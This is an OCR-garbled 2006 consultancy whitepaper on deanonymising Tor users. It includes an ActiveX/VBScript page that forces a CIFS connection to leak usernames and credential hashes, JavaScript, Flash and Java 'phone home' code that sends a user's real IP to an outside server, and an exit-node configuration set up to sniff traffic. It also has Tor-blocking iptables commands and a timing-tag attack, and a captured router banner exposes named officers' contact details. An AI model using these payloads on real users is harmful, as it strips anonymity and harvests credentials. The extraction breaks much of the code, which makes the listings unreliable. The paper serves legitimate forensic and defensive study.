Peeling the Onion: Unmasking TOR Users

$paper{‘ authors’ }[ 0]
$paper{‘ authors’ }[ 1]

“Andrew Chri st ensen. Fort Consul t”;
“Dan_Faerch. ScanNet ”;



Copyright

This paper is copyright FortConsult A/S, with all rights reserved, except that any non-commercial
reproduction of any part of this paper for research and/or academic-use is authorized (aslong as you
don’t steal too much without crediting us). Basically this means if you intend to reproduce content
from this paper in abook or magazine which will be commercially sold, you' d better ask usfirst. If
you just want to put a copy on your archive site, knock yourself out. But don’t take credit, because,
hey, writing the Perl code in this paper really wasn’t fun.

Table of Contents

Peeling the Onion: UNmasking TOR USEY'S.......cccciiiieiierie e seesie et sie e ste e ee e sse e sns 1
(©0070)Y/ 1o | o | PP 2
TaADIE OF CONLENTS. ... .ottt bbb st et e st e bbb e be e e 2
INtroduction / EXECULIVE SUMIMEAIY .......ooiuiiieieiie s see sttt st sneesae s e e saeenaesneesns 4

B 11 0] £ TSP PT RO PRPSPR 4
AN OVENVIEW OF THIEALS. ..ot ettt et sr et esneenae e nes 4
WHEE IS TOR?. .ttt bbbttt b b e bt bt e ae s e et et e b et e sbesbesbesneeneeneas 4
WhO DUIE / OPEIEIES TOR? ..ottt sttt saeenae et e ne e b e nneesns 4
How does TOR compare to botnets, Open ProXies, EIC.7......ccveveeereerieseeseesee e 5
WHO USES TOR? ...ttt sttt sttt ettt e s se e st e e ss e e bt e beeseesaeenae et e sneenbenneenrs 5
What threats does TOR POSE 10 DUSINESS?.........coouiiiiiicece et 5
MiItIQALING thE RISK....c.eiiiiiiee ettt et ae et et esne e ee e nrs 6
Detecting (and bBlOCKIiNG) TOR.........ccieieieciere et sre e s e e seeaesneesreenne e 6
PEEIING TNE ONION......coiie et ettt be et s ae e b e e e sae e ee e nrs 7
FINding Who iSON TOF WHREN ...ttt 7
Finding out Who iSON TOr WHeN — Part 2.........cociiieiiieierieeie et 7
CHENt TP UNMEBSKING....c.veeteeieeiesiesie e ee e ete s e e ste e e te e aesseeseeseesseeteeneesseesseeseessennsessenssennsenns 7
Example of VBScript + ACtiVEX diSCIOSUIE..........ooeeiieiiiierieeee et e 8
Example of JavaScript [P diSCIOSUIE..........cccviieiieie ettt nne s 10
Example of Flash [P diSCIOSUIE. ..o 10
Example of JaVa P AiSCIOSUIE..........ccuviieiieecee ettt snaenne s 10
Fingerprinting client SOftware — SSL SUITES..........cooiiiiiirienieseeie e 11
Fingerprint other client Software — TEINEL.........c.ccveiiee v 11
Fingerprinting other client software — SSH ClIENES.........ccooviiiiiiii e 11
IR0 Talo o= ot aT=o o = = T O 11
TagQiNg TOR IrATIC.....iieieiieee ettt et b et sre e 12
Making the Onion MOre SMEIIY .......cceie e sree e 13

I TS AN 072 N SRR 14

BT 0To 1S =0 I = | 1 oSSR 14
Protecting privacy (including to pornographiC SItES) .........cvieererrieriereee e 14
Uploading copyrighted filesto fileSErVer SIte........covviiieii e 14
Building army of Cisco routers (apparently for DDOS).........ccooveieiienenieneneere e 14

SOUICE OF TTAITIC ...ttt b ettt ettt b et b e b b e ne e e eneas 15

Settings, Configuration @nd COOR..........coeiiiiiiriei et st re e sns 16
Settings Used fOr TOr EXit NOUE. ........ccoiieiiieeceee ettt nne e nns 16

L0 Lol 1] 0 PRSI 16
JavaScript “What’ SIMY IP” COUE........cceeieeie ettt e e teenaesreenne e 16

ActiveSCript “ CONNECE-OUL” COOR.........eeieiiiiienieeie ettt sre e e ee e e e 16



Java phone home code from get_eNV.CIaSS.......cccciviiiiece e 16

Determine the hosts address by CONNECHING QUL ............ooieiiiiiiiee e 17
Alsow determine the hosts address 10CallY ........ccveveieeiiece e 17
Tor + IptablesS TOr-DIOCK COUE ..o e 18
Listing all TOr EXIt NOUES........cccueiieiecie ettt s e s e s e sneennesneenseas 18
Blocking all Tor Exit Nodes viafeed to iptables..........coceviiiiinii e 18
Listing Tor EXit NOJES DY COUNLIY.......cceieeiieeieeeesieeieseeseeee e steeee e sse e sseesseseesseesseesesneensens 19
OUutpUL GEOIP 1O TON MEPPEY ...ttt ettt e et e e e sbe e s eeesbeesareesneeenneenneens 19
Code listing: GEOIP t0 TOr MEPPEN ....c..eeuveereeriereerieesteeeesreesteeeesreesseeseesseesseseesseesseseesseessensessses 19
Timing Tag INJeCtion DELaIlS.........coouiiieiieee e e e 22
(€T ac = L 1 o = 22
Implementation of timing PattErN PrOXY ........oceerieeierieieeee et e e neeas 22

Recognizing your timing pattern tag in packet headers...........cccecvveveeie s 23



Introduction / Executive Summary

This paper isintended as an overview of some of the direct
attacks on the Tor anonymous communi cations network;
especialy of interest are those that can be used by law
enforcement agencies to unmask criminals. A blackhat approach
is also taken, looking at how simple it would be to avoid being
identified; this blackhat approach is both more fun to study, and
also very relevant for determining how reliable the
“fingerprinting” of a user would be, and whether it isreliable
enough to be presented in court.

Authors

This paper has been written by Andrew Christensen of
FortConsult (a security consulting company based in Copenhagen, Denmark; see
http://www.fortconsult.net).

Dan Faerch of ScanNet (http://www.scannet.dk) contributed many ideas, especially related to what
traffic can be injected in order to directly unmask IP addresses. ScanNet is Denmark’s largest
hosting company, and as such is constantly under attack, including from people using Tor.

An Overview of Threats

What is TOR?

TOR isasystem intended to allow people to anonymously connect to services on the Internet,
without revealing their true IP address or where in the world they are connecting from. It has a'so
been designed to alow Internet servers to be anonymously provided; a webserver, for example, can
be placed “in” the TOR network and will be visible to TOR users, without directly revealing the
“real” |P address or location of the server.

Essentially, the system is fully distributed, with every node potentially functioning as an exit point
or passing traffic. The exception to thisis the Tor directory servers which inform the network about
other nodes in the network.

Ef) How Tor Works: 3 5 Tornode

- unencrypted link

e Figurel1: "How Tor Works" (image from tor .eff.org)
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! Thisis according to statements given by EFF / Tor representatives at the What the Hack conferencein Holland,
Summer 2005.

2 The original versions of the Tor website indicated the original source of funding for the project:
http://web.archive.org/web/20050128135029/http://tor.eff.org/




Onion Routing Program with support from DARPA®.

The current version of Tor’s software has been distributed by the EFF*, and created with their
funding. Presently, Tor is unfunded.

Bandwidth for the Tor network is provided by al the users of the Tor network. The directory
servers (which tie the whole network together) are run by researchers at institutions such as MIT,
with involvement from the EFF (possibly due to having personnel that are common to both
ingtitutions).

How does TOR compare to botnets, open proxies, etc.?

In terms of anonymity, TOR is probably much worse for a hacker than an open proxy or open
wireless network, partially because there is a strong chance anyone running a TOR exit nodeis
doing so because they want to see what is going over TOR exit nodes.

It's a'so worse for acriminal to use TOR than, say, an army of bots, because the bandwidth
availableon Tor isquite low.

Who uses TOR?

According to the Tor website at http://tor.eff.org, Tor is used by everyone from US Defense
Department spies to Chinese political activists.

In Denmark, the most talked-about use of Tor has been by a group of defacers named “ Team
Gilmore Girls”, who during December 2005 made headlines by defacing several midrank Danish
politicians' websites.

Given the wide range of people supposedly using Tor, it certainly seemed interesting to seeif the
anonymity it providesisreally there.

In order to find out who really uses Tor, however, the best way was simply to set up aTor
exit node and watch the traffic, which | did in writing this paper. The results of this are
summarized in the section of this paper entitled “ Traffic Analysis’.

What threats does TOR pose to business?

Imagine a credit-card processing company or online shop running anti-fraud monitoring services,
including a | P-address-to-location mapping database like Geol P°. Normally this would provide a
pretty good means of rooting out and black-listing or gray-listing transactions coming from a
country other than where the card is registered, or to where the wares are being shipped.

However, with Tor, it is extremely simple for a user to select an exit point from the Tor network
onto the Internet in amost any locality they need. This can be seen by looking at alist of Tor exit
nodes, where ailmost all developed countries are represented.

® DARPA isthe Defense Advanced Research Projects Agency, and is widely considered to be the force driving the
creation of what has since become the Internet.

* EFF stands for Electronic Frontiers Foundation. The EFF's stated goal is to protect normal humans digital rights on
the Internet, especially around promoting free speech on the Internet.

® http://www.maxmind.com/




Mitigating the Risk

Detecting (and blocking) TOR

Several blacklisting services already list Tor exit-node IPs. These lists are intended to be read in by
spamblocking systems and other similar services. However, the problem is that due to the dynamic
nature of Tor’s network, much of the information on these blocklists could be somewhat out of date
by the timeit isloaded into the spamblocker (or whatever €l se the case may be). However, itis
simple enough to run Tor from an adequately firewalled machine, let it learn about the network, and
then just query it’'s cache (it is reasonably simple to write a program to interrogate the Tor directory
servers directly, but why reinvent the wheel ®?).

For aquick overview of how to list (and block) Tor exit nodes, see the section of this paper entitled
“Tor + Iptables Tor-block code’.

Note that you may not
always want to actually block
people coming from Tor —
but you will at the very least
want to tag their traffic and
their transactions in away so
that you know there may be
some additionaly risk
involved.
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® Actually getting the current Tor directory involves only making an HTTP “GET” request, however it's nice to let Tor
verify the veracity of the data and that it has been correctly digitally signed, indicating it is probably not tampered with
(something there isarisk of given the fact the data is going cleartext over the net).



Peeling the Onion

This section of the paper is about unmasking the real IP address (and other identifiable
characteristics) of people using Tor.

Recently in Denmark, a police case arose where various websites were defaced. Despite the fact
that he owners of these websites were rumoured to have a strong suspicion who the guilty parties
were (as did some of the network and system administrators at 1SPs hosting the websites), several
people stating on national television that it would be impossible to prove this, due to the fact that
TOR had been used in the commission of the attacks.

Finding Who is on Tor When

One of the most obvious methods of determining if a certain person was using Tor in committing an
attack is ssimply tracking who was using Tor when, and then seeing if acertain Tor client |P address
was consistently online when attacks occurred.

Unfortunately, this technique will ONLY work if the machineis also working as an Onion Router.
Clients are not Onion Routers by default. Thisis described in the Tor path selection description’,
and the Tor server setup description®.

This technigue could be enough to reasonably prove that a given user is the one that likely browsed
asite from Tor, based purely on Tor network logs and on logs from the target website. Thisis
especialy true in a country like Denmark where the overall number of Tor usersis extremely low,
but is much less likely to function ideally in a country like Germany, where thereis avery high
level of Tor usage.

In order to employee this technique, run the code listed in the section of this paper entitled “Listing
Tor Exit Nodes by Country” in a continuous loop, and save the output. Then, when a site gets
visited via Tor, refer to the log you have created in the while loop to correlate with the logs from the
site, by checking what Tor nodes were online when the incident happened.

Finding out Who is on Tor When — Part 2

Note that there STILL might be one way to determine what CLIENT machines are on the Tor
network at what time: watch traffic inbound to the directory servers which Tor relies upon.

Client IP unmasking

The basic idea of this technique is exploiting a feature or a bug in the machine that is connecting to
aserver under our control or viaa Tor node under our control, in order to make the machine itsdlf
reveal its |P address or hostname.

Several techniques have been tried with success on webtraffic:

Embedding ActiveX + VBScript to phone home
Embedding JavaScript in the page

"Seehttp://tor.eff.org/cvs/tor/doc/tor-spec.txt, section 4.3.
8 http://tor.eff.org/doc/tor-doc-server.html




Embedding a Java “ connect-back” applet in the page
Embedding Flash applets in the page

JavaScript, Java, Flash, and HLINK references to protocols other than http all present possibilities
of unmasking who is bouncing through a TOR exit node. Another valid option isfinding an attack
in the client software being used to connect through TOR (for example, telnet, SSH, FTP, or
Internet Explorer).

Example of VBScript + ActiveX disclosure

One interesting technique that can be used effectively if the “anonymous’ user is using Internet
Explorer, isto cause an activeX control to load afile via CIFS (the Microsoft network file share
protocaol).

The effect of thisisthat the user’s machine will actually attempt to connect to an arbitrary CIFS
share on the network, and will additionally cause information about the “anonymous” user’s
machine to be transmitted directly across the network. Thisinformation will include:

Version information

Hostname / network domain name

Username

User credential hashes

Generally speaking, if it is possible to get the above information to be sent, it is about as good as
actually catching a user at the keyboard red handed.

An example of SOME of the data can be seen in the sniffer screenshot shown below.



In this example, an almost universally-standard Microsoft component for handling certificates was
used. The C# codesnippet used to trigger this network traffic was as follows:

CAPI COM CertificateCl ass capcert = new CAPI COM CertificateC ass();

capcert . Load(
"\\\\cbn-desktop\\testfile", "",
CAPI COM CAPI COM_KEY_STORAGE_FLAG. CAPI COM KEY_STORAGE_DEFAULT,

CAPI COM CAPI COM_KEY_LOCATI ON. CAPI COM CURRENT _USER_KEY) ;

Note that this can be called from aHTML + V Bscript webpage as follows.

<htm >
<head> <title>FortConsult - Tor ActiveX PHONEHOVE</titl e> </ head>

<body>



<OBJECT id="Tor phone" w dt h=0 hei ght =0
cl assi d="CLSI D: 17E3A1C3- EA8BA- 4970- AF29- 7F54610B1DAC' >
<SPAN STYLE="col or:red">Coul dn€& I|D you. </ SPAN>

</ OBJECT>

<script |anguage=vbscript>

Tor phone. Load "\\\\cbhn-desktop\\testfile", "", 1, 1

</script>

</ body>
</htm >

Example of JavaScript IP disclosure

If Javascript is enabled in the browser used by someone you wish to unmask, alarge number of
JavaScript or Java-via-Javascript commands can be run.

For example, to return the local host’ s address and name, the Javascript listed in “” can be injected.
Then, the IP/hostname can be requested using Javascript as an 1x1 pixel image name, ie
http://fortconsult.net/torcapture?ip_1.2.3.4 name [33tb0y31337.jpg. That way, even though the
request goes over the Tor network, the real IP and hostname are revealed.

Example of Flash IP disclosure

Flash is something which, despite alarge number of security issues, most people blindly use. From
either awebdevel opers perspective or a security guy’s perspective, Flash is quite interesting, as
thereis support for arich scripting language called “ ActiveScript” in the .swf files. One simple
possibility for unmasking a Tor client is simply to get a shockwave flash file to play in a suspects
machine, thereby executing a command causing it to connect out — BY PASSING TOR!

This can be done by creating a Flash file including the ActiveScript code listed in * ActiveScript
“Connect-Out” Code”.

Example of Java IP disclosure

Exactly the same idea has already been
implemented in Java, and was discovered in
operation at http://www.inet-police.com/cqi-
bin/env.cgi, a page which called a Java class
named get_env.class. Even when running
Internet Explorer through Tor, the class still
revealed the correct IP (217.157.23.130) by
connecting out to the server hosting the
applet, even while the exit node IP
(69.62.156.11) was also shown.

Note that:
- A user running a host-based firewall

allowing outbound connections on a

per-application basis might not be

affected by this.

It only affects Internet Explorer users, not Firefox users, presumably due to different Java

engines being in use.



A Javadisassembly listing of the code of “get_env.class’ reveals the techniques used, and is
presented in the section of this paper titled “ Java phone home code from get_env.class’.

Fingerprinting client software — SSL suites

Even if fingerprinting the browser being used to connect is
not directly possible, it may still be possible to fingerprint
the browser or the OS based on the cryptographic suite
used, or on communication options being transmitted.

For example, the
two screenshots on
this page shows the
difference between
aFirefox client
versus Internet
Explorer being used to connect to the same website via SSL.
The difference in cryptographic protocols offered by the
client can be used to fingerprint whether it is Internet
Explorer or Firefox connecting, even when you can't see the
actual communications content, or when a proxy is used that
aterstheidentifying “User-Agent” string.

Fingerprint other client software — Telnet

Frequently after launching a successful attack, telnet or netcat will be used to connect to alistening
port. More than likely, if the attacker has chosen to use Tor as an anonymization net up to this point,
they aren’t going to switch, and will also route their telnet or netcat traffic through Tor.

It ismore likely that netcat will be used than telnet, however even
netcat will reveal some information about the client machine. It may
also be possible to determine the version of netcat in used, especially
if advanced options like telnet negotiation are used.

Telnet isworse: it will show when connecting the terminals capabilities and the size of the window.
The information it sends may be used to fingerprint the type of machine telnet is being run from.

Fingerprinting other client software — SSH clients

The most obvious means of identifying the SSH client in use, and
thereby the platform and related information, is viathe client version
banner which may be presented.

Tagging cached data

This paper won't talk about attacks on cryptographic filesystems, but there are several means of
watermarking encrypted data, in the event an attacker using Tor is using an encrypted filesystem
like Linux’s cryptoloop. One good paper on this subject is available at

http://marei chelt.de/pub/notmine/diskenc.pdf. It is also theoretically possible similar attacks could
be used on data whileit’s still on the wire, but this has not been investigated any by us.




Tagging TOR traffic
The idea of tagging TOR traffic is not revolutionary, as TOR'’s creators themselves state:

Tor does not provide protection against end-to-end timing attacks: If your attacker can watch
the traffic coming out of your computer, and also the traffic arriving at your chosen
destination, he can use statistical analysis to discover that they are part of the same circuit.’

Despite the fact that end-to-end traffic analysis
may be legally aviable option™ given the
possibility of tagging traffic at the source and
watching traffic at the destination, this does not
Tor Exif Node S€E€M to have been attempted much yet by
police agencies.

W

T

This section focuses on simple means of
tagging traffic either at the server under attack,
or at the TOR exit node, in such away that a
recognizable traffic pattern can be observed on
Target Machine the DSL / Phone/ cable line of the suspected
hacker. This section of has been written on the (we believe reasonable) assumption a 99.9% “traffic
pattern fingerprint” match should be at least enough to gain a search-and-seizure warrant in pretty
much any western country.

In this scenario, for example, it will be possible to identify encrypted traffic, if:

1. Traffic tagging can be injected anywhere between the target machine and the Tor exit node
(inclusive, aslong as encryption isn’'t in use), and

2. Traffic headers destined to the Tor client can be observed anywhere between the Tor client
and whatever first-hop Tor nodesiit is speaking with.

The basic idea with this attack is to tag the traffic using a recognizable timing pattern. Thisis sort of
the same idea as FM radio uses to transmit information: the normal stream of datais the carrier
signal, while a recognizable pattern is encoded on top of that.

Basically, this means that even if you can’t see the clear traffic, the fact that a certain number of
packets arrive at a certain time, followed by pause for a set number of milliseconds, followed by
more tagged traffic.

® http://tor.eff .org/overview.html.en
19Us Code Title 18 specifies that packet headers may be captured without a court order.




Making the Onion more Smelly
A number of steps can be taken by people who want to be more anonymous when using Tor:

Firewalling the machine on which the Tor client runs, so that ONLY Tor traffic is allowed.
Running Tor itself via other compromised network infrastructure, such as owned routers or
wireless boxes

Writing asmall script that randomly requests pages via Tor or keeps a connection open to a
remote site via Tor and dumps data down it at irregular intervals.



Traffic Analysis
This section describes the traffic which was seen through the Tor exit node.

Purpose of Traffic

S0, exactly what is Tor being used for? According to the EFF s site at http://tor.eff.org/fag-
abuse.html, criminals could “in theory” use Tor. Indeed, it appears that criminals are!

However, some legitimate users were also visible in the noise.

Protecting privacy (including to pornographic sites)
It was clear that some users were attempting to user Tor for the purpose it was designed, doing
things like:
Playing online games on sites with lots of otherwise intrusive user tracking and banner ads
Browsing potentially embarrassing pornographic sites
Viewing sites that are potentially politically objectionable such as:
o0 TheEFF ssite
0 Bruce Schier’sblog
o http://www.geistig-frei.com/
o http://meinungsfreiheit.org/

Uploading copyrighted files to fileserver site

One of thefirst things we discovered after starting to capture traffic exiting from Tor was that
massive amounts of data were being sent to sites that allow people to upload filesto such as:
Rapidshare.de
2kdown.com

Building army of Cisco routers (apparently for DDoS)

Grabbing traffic to / from port 23 indicated that Tor is being used to anonymously scan for open
Cisco routers. It appears that a single script was being used which attempted to login to the routers,
then ran “ping”. Since no attempt was made to bruteforce enable passwords, and since Cisco routers
ALL OVER the world were being attacked, and since the first command being run was checking
the performance of “ping”, it seems reasonabl e that the purpose here was building an army of Cisco
routers (which often have good network connectivity) for the purpose of Distributed Denial of
Service (DD0S).

We found this interesting, as common wisdom holds that Tor isn’t especially good for people
performing DDoS attacks (http://tor.eff.org/fag-abuse.html#D DoY) .

T 195.251.96.1: 23 -> 195. 69. 130. 244: 52452 [ AP]

C..... Wel cone to the Hellenic Arny Acadeny. .

This is Accadeny's internal router.... contact: Major Dimtri
os St at hakos (st at hakosd@l phal. sse.gr).. Captain Chri st
os Di oni sopoul os (di oni sopoul osc@l phal.sse.gr).... Hellenic Arny Ac
adeny. . Vari, 16 673, Attiki, GREECE.. tel: +30 1 897

0216, 219, 013, 229 (ext.1016).. fax: +30 1 8970232....rouciscol>



Source of Traffic
The actual source of the traffic was not fully analyzed.

However, it is quite easy to determine a bit about the source of the traffic based on axillary
indicators such as browser accepted language settings and the like.

The primary sources of traffic were:
Germany
Eastern Europe
China



Settings, Configuration and Code
Settings Used for Tor Exit Node

torrc settings

SocksPort 9050

SocksBi ndAddress 127.0.0.1

Al'l omUnveri fi edNodes m ddl e, rendezvous

Ni ckname nmaer skdat acph # | ook |ike Own3d box

Address 80. 165. 19. 109

ORPort 9090

ExitPolicy reject 127.0.0.1:* # don’t want | oopback hacks
ExitPolicy accept *:80 # only cleartext traffic is fun

Exi tPolicy accept *:23 # telnet let’s us fingerprint the client
ExitPolicy reject *:* # default policy

JavaScript “what’s my IP” Code
This code has been borrowed from: http://studl.tuwien.ac.at/~€9125168/javas/jhostip.html

your Addr ess=j ava. net . | net Addr ess. get Local Host () ;
your Addr ess2=j ava. net . | net Addr ess. get Local Host () ;
yhost =your Addr ess. get Host Narne() ;

yi p=your Addr ess2. get Host Addr ess() ;

ActiveScript “Connect-Out” Code

functi on myOnConnect (success) {
i f (success) {
trace (" Connection succeeded!")
} else {
trace ("Connection failed!")
}
}

socket = new XM._Socket ()

socket . onConnect = nyOnConnect

if (!socket.connect(“sonme hostnane”, 80)) {
trace ("Connection failed!")

Java phone home code from get_env.class
The following code listing was created using Jad 1.5.8e, written by Pavel Kouznetsov.

Most of the codelisting has been snipped to keep things readable; only the most relevant lines are
presented below.



Determine the hosts address by connecting out

This block makes an HTTP request for "GET http://www.inet-police.com/cgi-bin/getenv.cgi”, reads
the response, and outputs it. The effect can be seen by making the same request via netcat, as
showin the screen dump below.

Note that this code apparently originally was written by “Atelier Azuma’ —and in 1997!

Systemout.println("get_env.class (verl.0)");
Systemout. println("Copyright (C) 1997 Atelier AZUVA. All Rights Reserved.");

i f(s.equal s("DOVAIN'"))

oj ect obj = null;

try
{
Socket socket = new Socket (rhost, 80);
PrintStream printstream = new Print Stream socket. get Qut put Streanm());
printstreamprintln("GET " + cbase + cgifile);
in = new Dat al nput Strean(socket. getlnputStrean());
res = in.readLine();
printstream cl ose();
socket . cl ose();
}

}

The content returned by making that request looks similar to what was visible in the browser.

Alsow determine the hosts address locally

Note that the Java code viewed a so contained afunction to locally resolve the hostname. However,
this was not used by the page where this class was found.

I net Address i netaddress = | net Addr ess. get Local Host ();
String s3 = inetaddress. get Host Name() ;

String s4 = inetaddress. get Host Address() ;

res = s3 + " [" +s4 +"]",



Tor + Iptables Tor-block code

When Tor is up and running (with a config that doesn’t allow the Tor node to be used by other
hosts, and on an firewalled machine), it is ssmple enough to extract the list of exit nodes.

Datawill be pulled from the * cached-directory” file located in the data directory of the machine.
The router directory is placed at a specific location™, but for this example, it will be assumed to be
in ~/.tor/cached-directory.

Listing all Tor Exit Nodes
A simple command can be used to extract all Tor nodes from the Tor directory:

grep ©‘router © ~tor/.tor/cached-directory |awk & print $3}©

Blocking all Tor Exit Nodes via feed to iptables

Normally, amachine running Tor shouldn’t also function as afirewall, but just for the sake of a
simple example showing tor-to-firewall exit-node list input, here’s how to block all TCP traffic
from Tor exit nodes':

for TorExit in Agrep ©‘router © ~tor/.tor/cached-directory |awk
©{print $3}¢ sort|uniq A, do echo Bl ocking $TorExit; iptables -
I INPUT -p tcp -mtcp -s $TorExit -j REJECT; done

A more likely scenario involves simply writing the exit node list to aflat text file, then having the
firewall or other filter device SCP the file from the Tor node to itself, as shown in the diagram
below.

Note that when dataiis
being pulled from an
“untrusted” source,
verification of the data’'s
format and legitimacy
should be made. So, if a
list of IP addressesis
being downloaded, each

— — lineinthat list should be
= checked to make sure it
i looks like an P address,
- Tor Autoblock Scenario: and that the |P addresses
Tor Status Finding Node Firewall queries firewalled / hardened

(but still untrusted) Tor middle node, IOO‘fS reasonable (you
blocks IPs don’t want to DoS

yourself by firewalling
your own IPs).

™ For more details on data directory location, see: http:/tor.eff.org/cvs/tor/doc/tor-doc-server.html

12 Only TCP traffic and name lookups can be transmitted via Tor, so thereisn’t really a need to block anything else. If
you are eager to ensure that nametraffic can’t be hidden in Tor, you should just block everything from the Tor exit
nodes.




Listing Tor Exit Nodes by Country

In order to monitor when people from a given region are functioning as Tor exit nodes, a mapping
can be made between MaxMind' s Geol P database and the list of Tor onion routers (“ORSs’, in Tor
speak).

Output GeolP to Tor mapper

./tortus.pl China
Loadi ng Geol P database... | P data | oaded, 374 ranges founds for China
Readi ng cached-directory... Directory |oaded, 616 Onion Routers active

-- Analyzing data --
frland (222.84.10.88) is in China

publ i shed 2006-03-07 13:23:10, uptinme 839
andrewgao (218.57.89.121) is in China
publ i shed 2006-03-06 14:55:50, uptine 7206
flyingboy (166.111.249.39) is in China
publ i shed 2006-03-07 12:51:01, uptime 105671
gtjaet (218.93.16.18) is in China
publ i shed 2006-03-07 13:49: 46, uptinme 108090
fgsinternet (211.94.188.225) is in China
publ i shed 2006-03-07 11:02: 14, uptime 1663505
distro (61.242.102.18) is in China
publ i shed 2006-03-07 10: 38:43, uptinme 3525681
./tortus.pl Dennark
Loadi ng Geol P database... | P data | oaded, 722 ranges founds for Denmark
Readi ng cached-directory... Directory |oaded, 616 Onion Routers active

-- Analyzing data --
mel | enbesten (82.143.198.125) is in Denmark
publ i shed 2006-03-06 21:46:23, uptinme 1350
maer skdat acph (80.165.19.109) is in Denmark
publ i shed 2006-03-07 13:02: 04, uptime 1406
gl obal host (84.238.15.6) is in Dennark
publ i shed 2006-03-07 05:46: 42, uptinme 428757
bi t enyshi nynet al ass (217. 30. 80.251) is in Denmark
publ i shed 2006-03-07 02:27:14, uptinme 211712

./tortus.pl ©zech Republic®©

Loadi ng Geol P database... | P data | oaded, 364 ranges founds for Czech
Republ i c
Readi ng cached-directory... Directory |oaded, 616 Onion Routers active

-- Analyzing data --
irag (81.0.225.179) is in Czech Republic
publ i shed 2006-03-07 11:27:34, uptinme 854

Code listing: GeolP to Tor mapper
#! [ usr/ bi n/ perl

# Tor exit-router to Geol P | ocation mapper,
# witten by Andrew Christensen, anc@ortconsult. net



use strict;

unl ess(defi ned( $ARGV[ 0] ) ) {di e("Usage: $0 countrynane\n");}
ny $cn = $ARGV[ 0] ;

# assune that Tor cached-directory is here, rather than pulling it live
# ~/.tor/cached-directory
ny $di rcache = $ENV{CHOVEC} . "/.tor/cached-directory";
unl ess(-r $dircache){
di e("Unabl e to open Tor cached-directory at $dircache\n");

}

print "Loadi ng Geol P database... ";
open(mnmy $CGEA P, " <Geol PCount r yWoi s. csv")
or die("Unable to | oad Geol PCountryWois.csvin");

# exanple line from dat abase
# "221.97.210.0","221.97.210. 255", "3714175488", "3714175743", "DK", " Dennar k"

# % pdata contains records in format:
# $i pdat a{l owDeci mal | p} = $hi ghDeci mal I p;
ny % pdat a;

whi | e(ny $dbline = <$GEQ P>) {
unl ess($dbline =~ m "$cn"$/i){next;}
ny @lbrecords = split(/,/, $dbline);
ny $l owi p = $dbrecords[2];
ny $hi ghip = $dbrecords[3];

$low p =~ s/["0-9]//g; # strip non-nuneric characters
$hi ghip =~ s/["0-9]//g;

$i pdat a{ $l owi p} = $hi ghi p;
}
cl ose($GEA P) ;
print "IP data | oaded, " . keys(% pdata) . " ranges founds for $cn\n";

print Read|ng cached-directory..

open(nmy $DIR, "<$dircache") or d|e( CanCI open() dircache\n");
my % outers;

ny % outertine;

ny $l astrouter;

ny $lastip;

# interesting lines |look like:

# router vfgbj k5600789 83.171.145.235 9001 0 O

while(my $dirline = <$DI R>){

i f(defined($lastrouter) and | ength($lastrouter)){
if($dirline =~ m "published /){
$dirline =~ s/[\r\n]//g;
$routertine{$l astrouter} = $dirline;
next ;

}

if($dirline =~ m Muptine /){
$dirline =~ s/[\r\n]//g;
$routertine{$l astrouter} .=", " . $dirline;



next;

}
}

unl ess($dirline =~ m~router /){next;}
ny @acherecord = split(/ /, $dirline);
$l astrouter = $cacherecord[1];

$l astip = $cacherecord[ 2];

$routers{$l astrouter} = $lastip;

}

cl ose($DR);

print "Directory |oaded, " . keys(%outers) . " Onion Routers active\n";
print "\n-- Analyzing data --\n";

foreach my $orname (keys(% outers))({
ny $orip = $routers{$ornane};
foreach nmy $lowi p (keys(% pdata)){
if( (& ptodec($orip) >= $lowip) and (& ptodec($orip) <= $ipdata{$l owi p})){
print "$orname (" . $routers{$ornanme} . ") is in $cn\n";
print "\t" . $routertime{$orname} . "\n";
got o H TFOUND;
}

}
HI TFOUND:
}

RHHBHBHHBHHBHBHHBH BB H
# SUBS #
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sub i ptodec {

ny $ip =$_[0];

ny @ctets = split(/\./,$ip);

ny $decip = ($octets[0] * 256 * 256 * 256) + ($octets[1l] * 256 * 256) +
($octets[2] * 256) + $octets[3];
}



Timing Tag Injection Details
The ideawith this attack is to inject recognizable delays into the traffic returned by the server.

The timing can be injected at any point between the Tor exit node and the target server, including
both the exit node and the server.

For this example, a proxy program is assumed to have been installed on the target server itself ,
since thisisthe easiest to demonstrate. For a more complicated real world example (for example,
injecting timing as traffic passes arouter or other server), some rather complicated routing and
firewall rules are needed to extract traffic going over acommunications link (it's not at all
impossible, but there's no need complicating this paper anymore with something irrelevant).

General timing pattern
The general timing pattern for injecting timing attempted looks like:
keyString = “1’ve got you now.."
st art Del ayLoop:
for each letter of key:

al | owNunber Of Byt esToSend( (ascii_value(letter) x 100) bytes)
mllisecondsToWait( ascii_value(letter) x 5)

al | owToSendNor mal | y( 100 ki | obyt es)
repeat ...

With the example key of “I’ve got you now”, the following would happen:

I'vegot ...
7300 bytes would be sent
A pause of 365 milliseconds would occur

I'vegot ...
3900 bytes would be sent
A pause of 135 milliseconds would occur

I’ve got...
11800 bytes would be sent
A pause of 590 milliseconds would occur

... and soon

Implementation of timing pattern proxy

Implementing the proxy is actualy relatively simple to do, using Perl’ s fork, socket features and the
precision timing module Time::HiRes.



Recognizing your timing pattern tag in packet headers

Due to the fact that Tor, generally speaking, doesn’t transmit much data not related to active, open
connections originating from the machine when it’s NOT being used as a exit node, it should be
relatively easy to recognize the tagged traffic, by feeding packet timestamps into a graphing tool
(even GnuPlot could work in a pinch), and then visually comparing the graph of the time-tagged
source traffic to the graph of the traffic received at the suspected recipient.



